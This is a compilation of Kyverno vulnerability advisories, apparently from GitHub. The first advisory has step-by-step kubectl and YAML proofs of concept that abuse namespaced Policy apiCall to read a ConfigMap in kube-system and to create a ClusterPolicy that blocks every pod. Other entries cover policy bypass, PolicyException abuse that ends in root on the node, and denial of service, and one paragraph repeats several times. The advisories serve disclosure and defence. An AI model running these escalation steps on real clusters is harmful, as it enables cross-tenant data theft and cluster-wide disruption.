Summary
A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.
As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.
Details
The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.
1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)
2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.
PoC 001 - Data exfiltration The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.
0. Setup kind + Kyverno
Tested with Kyverno v1.16.1 on k8s v1.34.0.
bash kind create cluster helm repo add kyverno https://kyverno.github.io/kyverno/ helm repo update helm install kyverno kyverno/kyverno -n kyverno --create-namespace
1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace. bash Create confidential data in kube-system kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data
Create a restricted service account kubectl create sa policy-admin -n default
Create a role for managing policies and configmaps in default namespace only kubectl create role policy-admin-role -n default \ --verb=create,get,list,update,delete \ --resource=policies.kyverno.io,configmaps
Bind the role to the service account kubectl create rolebinding policy-admin-binding -n default \ --role=policy-admin-role \ --serviceaccount=default:policy-admin
Verify the user cannot access kube-system kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin Output: no
2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-ns-leak namespace: default spec: validationFailureAction: Enforce rules: - name: leak-config match: resources: kinds: - ConfigMap context: - name: leakedData apiCall: # Injection happens here via annotations urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.targetns}}/configmaps/{{request.object.metadata.annotations.targetname}}" jmesPath: "data.key" validate: # The leaked data is returned in the denial message message: "LEAKED DATA: {{leakedData}}" deny: {} EOF
3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-leak namespace: default annotations: targetns: "kube-system" targetname: "target-cm" data: {} EOF
4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-leak was blocked due to the following policies
cross-ns-leak: leak-config: 'LEAKED DATA: confidential-data'
PoC 002 - ClusterPolicy injection
Continue from the setup from the previous PoC.
This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.
1. Apply a malicious policy
yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: mutation-cpol namespace: default spec: validationFailureAction: Enforce rules: - name: create-malicious-cpol match: resources: kinds: - ConfigMap context: - name: mutation apiCall: urlPath: "/apis/kyverno.io/v1/clusterpolicies" method: POST data: - key: apiVersion value: "kyverno.io/v1" - key: kind value: "ClusterPolicy" - key: metadata value: name: "malicious-cpol" - key: spec value: validationFailureAction: Enforce rules: - name: block-all match: resources: kinds: - Pod validate: message: "Blocked by malicious policy" deny: {} validate: message: "Created ClusterPolicy: {{mutation.metadata.name}}" deny: {} EOF
2. Trigger the policy
bash cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-cpol namespace: default data: {} EOF
This outputs an error:
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-cpol was blocked due to the following policies
mutation-cpol: create-malicious-cpol: ""
3. Observe the new cluster policy
bash kubectl get clusterpolicy malicious-cpol
Outputs:
NAME ADMISSION BACKGROUND READY AGE MESSAGE malicious-cpol true true True 4m58s Ready
4. Verify that no new pods can be created (even as a cluster admin)
Run:
kubectl run --image=nginx foo
Outputs:
Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Pod/default/foo was blocked due to the following policies
malicious-cpol: block-all: Blocked by malicious policy Impact
- Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller). - Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions. - Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2. - Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC. - In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.
The following command should be run on a per-environment basis to understand impact:
kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list
By default, this does not include Secrets.
Mitigation
The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.
The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.
This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.
Summary
Due to a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go it may happen that policy rules using namespace selector(s) in their match statements are mistakenly not applied during admission review request processing. As a consequence, security-critical mutations and validations are bypassed, potentially allowing attackers with K8s API access to perform malicious operations.
Details
As a policy engine Kyverno is a critical component ensuring the security of Kubernetes clusters by apply security-relevant policy rules in the Kubernetes admission control process.
We encountered a case where Kyverno did not apply policy rules which should have been applied. This happened in both the mutation and the validation phase of admission control. Effectively Kyverno handled the admission review requests as if those policy rules did not exist. Consequently, the Kube API request was accepted without applying security-relevant patches and validations.
As the root cause we identified a missing error propagation in function GetNamespaceSelectorsFromNamespaceLister in pkg/utils/engine/labels.go ([src][1]).
All affected policy rules use a namespace selector in their match resource filters like this:
yaml match: all: - resources: namespaceSelector: matchExpressions: - key: label1 operator: Exists
Such specification intents to apply rules only to resource objects which reside in a namespace whose labels match the given label expressions.
When Kyverno handles an admission webhook, function GetNamespaceSelectorsFromNamespaceLister in package github.com/kyverno/kyverno/pkg/utils/engine ([src][1]) is called to retrieve the labels of the request object's namespace. This function gets the namespace object from a "k8s.io/client-go/listers/core/v1".NamespaceLister. In case the namespace lister returns an error, GetNamespaceSelectorsFromNamespaceLister does NOT propagate this error to its caller, but returns an empty label map, which is equivalent to a namespace without any labels.
The returned label map is later used to select matching policy rules. If a rule has a resource filter with namespace selector, it will be mistakenly excluded or included.
The namespace lister fails to return the namespace object if the underlying SharedIndexInformer has not (yet) updated its cache. Those updates happen based on watch events from the Kube API Server, which does not guarantee any maximum delivery time. If the Kube API Server handling the watch is under high load or otherwise impaired (e.g. requests to etcd take longer due to pending leader election in HA setup) then informer cache updates can be delayed significantly. However, we did not find a way to reliably reproduce such condition.
To bypass Kyverno policies, an attacker may try to exploit the described misbehavior by:
- putting the Kube API Server under load before sending requests that Kyverno policies should be bypassed for.
- sending many request with a high rate to Kube API Server.
We did not try any of such attack vectors and therefore cannot prove their effectiveness.
In our scenario the Kyverno policies apply to pods in "sandbox" namespaces identified as such by certain labels. Those single-use namespaces and the pods therein are frequently created (and removed) by other controllers. Therefore, Kyverno often receives admission webhooks for objects whose namespace has been created shortly before.
Correction Proposal
Function GetNamespaceSelectorsFromNamespaceLister in package github.com/kyverno/kyverno/pkg/utils/engine ([src][1]) should return an error instead of an empty label map in case it could not get the namespace object from the namespace lister. This error will then cause admission webhook processing to fail, which lets Kubernetes fail the Kube API request if the policy's failure policy is Fail (a must for security-relevant policies).
In addition, function GetNamespaceSelectorsFromNamespaceLister could retry (with deadline) to get the namespace object from the namespace lister in case of a NotFound error. But as admission webhook processing time should be kept as short as possible, this might not be a good idea.
Another option would be to perform a GET request for the namespace as a fallback in case the namespace lister returns a NotFound error.
PoC
We did not find a way to reliably reproduce such case.
Impact
Administrators attempting to enforce cluster security through Kyverno policies, but that allow less privileged users or service accounts to create/update/delete resources.
[1]: https://github.com/kyverno/kyverno/blob/a96b1a4794b4d25cb0c6d72c05fc6355e95cf65c/pkg/utils/engine/labels.go#L10
Impact
Users of Kyverno on versions 1.8.3 or 1.8.4 who use verifyImages rules to verify container image signatures, and do not prevent use of unknown registries.
Patches
This issue has been fixed in version 1.8.5
Workarounds
Configure a Kyverno policy to restrict registries to a set of secure trusted image registries (sample).
References
An issue was found in Kyverno that allowed an attacker to control the digest of images used by Kyverno users. The issue would require the attacker to compromise the registry that the Kyverno fetch their images from. The attacker could then return a vulnerable image to the the user and leverage that to further escalate their position. As such, the attacker would need to know which images the Kyverno user consumes and know of one of multiple exploitable vulnerabilities in previous digests of the images. Alternatively, if the attacker has compromised the registry, they could craft a malicious image with a different digest with intentionally placed vulnerabilities and deliver the image to the user.
An attacker was not be able to control other parameters of the image than the digest by exploiting this vulnerability.
Users pulling their images from trusted registries are not impacted by this vulnerability. There is no evidence of this being exploited in the wild.
The issue has been patched in 1.11.0.
The vulnerability was found during an ongoing security audit of Kyverno conducted by Ada Logics, facilitated by OSTIF and funded by the CNCF.
Members of the community have raised concerns over the similarity between this vulnerability and the one identified with CVE-2023-46737; They are two different issues with two different root causes and different levels of impact. Some differences are:
- The current advisory (GHSA-3hfq-cx9j-923w) has its root cause in Kyverno whereas the root cause of CVE-2023-46737 is in Cosigns code base. - The impact of the current advisory (GHSA-3hfq-cx9j-923w) is that an attacker can trick Kyverno into consuming a different image than the one the user requested; The impact of CVE-2023-46737 is an endless data attack resulting in a denial-of-service. - The fix of the current advisory (GHSA-3hfq-cx9j-923w) does not result in users being secure from CVE-2023-46737 and vice versa.
Summary A kyverno ClusterPolicy, ie. "disallow-privileged-containers," can be overridden by the creation of a PolicyException in a random namespace.
Details By design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.
PoC 1. Administrator creates "disallow-privileged-containers" ClusterPolicy that applies to resources in the namespace "ubuntu-restricted" 2. Cluster user creates a PolicyException object for "disallow-privileged-containers" in namespace "ubuntu-restricted" 3. Cluster user creates a pod with a privileged container in "ubuntu-restricted" 4. Cluster user escalates to root on the node from the privileged container
Impact Administrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources
Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerability was in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch signatures. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.
Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerability was in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch signatures. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.
Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerable component in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch attestations. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.
Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerable component in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch attestations. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.